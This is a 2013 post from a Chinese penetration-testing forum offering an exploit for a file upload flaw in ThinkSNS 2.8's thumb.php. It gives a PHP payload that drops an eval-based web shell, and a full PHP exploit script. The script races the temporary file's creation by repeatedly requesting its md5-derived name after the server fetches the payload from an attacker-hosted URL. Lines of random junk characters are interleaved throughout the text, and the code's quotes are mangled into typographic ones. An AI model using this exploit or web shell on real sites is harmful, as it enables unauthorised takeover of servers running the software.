中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
8 d! @+ P5 d% m
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
) Z3 Y' g9 o3 ~2 |5 R
漏洞文件
4 @( H: M1 U3 ]) _
存在漏洞的文件为:thumb.php
3 |0 T: m4 V; r8 m0 g" Y1 D, }
作者:韦鲲鹏
6 T( K, B! I) v/ s5 l
1、 准备如下PHP文件并上传到服务器(自己的)。
7 A' a' _7 e5 k
文件内容如下:
3 P3 `% l( k1 P; b# X% ^ m) j# B
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
. @! R9 Y/ H0 q# `# p% C. l" U
2、 计算出临时的文件名:
; u2 n# g ^# T. A, `
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 X6 I% k: x2 b$ j2 j5 L
# J0 n+ y* [$ ?
3、 上传临时文件。
" Q( }4 Q& K3 @6 D
4、 访问临时文件。
9 w; @: z1 T" c; E( \- H' T6 J
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 `/ ?9 X6 F+ t' e" |
Exploit文件内容如下:(这个我就不详细解释了)
, Y8 n; Z _ `/ M: P. u
<?php
' x) v9 d% B# x3 g: X
error_reporting(0);
* Z- e' `, J9 d3 Z6 c
set_time_limit(0);
" v5 n$ J; y5 `. [
ini_set(“default_socket_timeout”, 5);
) J+ {" t4 Y8 {3 H* G) T1 t
function http_send($host, $port, $headers) {
9 _' A+ D9 ], }( M
$fp = fsockopen($host, $port);
4 T6 l) C* y. Y/ |- H4 m M
if (!$fp) die(‘Connection -> fail’);
8 t) L d0 ]$ w% ]# [. t1 n
fputs($fp, $headers);
4 U D* {5 a% ?' {4 x6 P0 d
return $fp;
3 k% Z8 Q$ H% K0 D9 @
}
0 `+ }* W/ n; i, T$ X" a1 H
function http_recv($fp) {
) L: m3 |! }0 U! C6 s% ]6 Y
$ret=”";
8 {; f5 r% d# I/ j# K" v" I
while (!feof($fp))
% J" V$ L, _8 |5 \2 I0 Q& }
$ret.= fgets($fp, 1024);
5 o$ l5 C( v6 Z1 m' f! n2 i' X
fclose($fp);
9 S/ |& \% y; D1 j& t0 H% \; v
return $ret;
/ }! i. Y; z2 a7 n; _* b- X! |
}
3 P$ f( u* x, [+ p/ x. h7 C
print “\n# ThinkSns Arbitrary File Upload #\n”;
$ b3 a& i1 l3 i3 P6 I7 V/ R; Z
print “# Discovered by 韦鲲鹏 #\n\n”;
% r- M: |; L) r: g& ?7 B! D2 w+ L9 x V7 I
if ($argc < 4) {
7 P; b- A' g1 s9 [8 r3 Z2 S n" }, s
print “Usage: php <host> <path> <romote_url>\n”;
: n5 ]. y3 w( _9 e2 D s
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
' l: r! p+ U2 x7 q0 u+ E4 g2 S
die();
7 H% X' _! H$ |4 X
}
4 _2 R5 \2 u7 a4 b/ K
$host = $argv[1];
7 @6 y+ k0 O: k/ C5 I' A
$path = $argv[2];
( Z1 t$ U1 r% F) J
$url = $argv[3];
" h- e& Z/ C" Y* l! ]1 n
$i=0;
% r" ^ a& Y! P6 v5 U& k7 R
//上传数据包
0 T( @- U' _2 H$ k7 u# S8 T
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
- u. r6 X6 j. t
$headers_up .= “Host: “.$host.”\r\n”;
/ i9 O) N1 @ {6 g0 \6 W
$headers_up .= “Connection: close\r\n\r\n”;
8 k1 F2 H' b9 P
echo $headers_up;
2 n" X5 O) A0 `# R Q8 T! m) v* p
//临时文件访问数据包
# |5 K* C) s( ]) e- ]% c
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
" N; S% f r4 U! U" N( C
$headers .= “Host: “.$host.”\r\n”;
: X$ {& }; f Z6 F3 E# K4 y9 [6 u2 A8 J
$headers .= “Connection: close\r\n\r\n”;
* l: v6 u% S: f0 L% [/ l* e
echo $headers;
" j* J! {8 a. L
while(++$i<10) {
4 n( U- Y% E1 }+ ~9 ?- ~( O
fclose(http_send($host, 80, $headers));
& ?! f w5 q6 g" M0 _8 t' C
}
* V1 I8 @' @+ c7 l9 j3 O
fclose(http_send($host, 80, $headers_up));
6 N B& w8 n1 ^: ~& D8 H* r
while(++$i<50) {
( u8 R2 A- D/ L6 D. X5 g
fclose(http_send($host, 80, $headers));
1 B; {$ B7 V9 h
}
( O6 D1 w j, q# d1 `9 J
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
+ w. l1 L$ N, Q1 `$ N$ v4 U8 ?! _. R; R
$headers .= “Host: “.$host.”\r\n”;
8 ^% Q3 i: s, J
$headers .= “Connection: close\r\n\r\n”;
: |; b9 P5 r$ v
$res=http_recv(http_send($host, 80, $headers));
/ F9 S# p" ?* m3 a" X
if(preg_match(‘/200 OK/’,$res)) {
9 F( R1 t! _: i. ?" T; Y6 e. ?
print “Success!\n\n”;
8 @! y' v/ ^; O- f9 \
} else {
* d9 _/ g3 k2 d5 f, T8 y! d
print “Fail!\n\n”;
8 o J( C, }+ ?' a
}
/ t* r# x7 t! k# n
?>
5 }6 [' N9 ^6 x: N" L- [
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2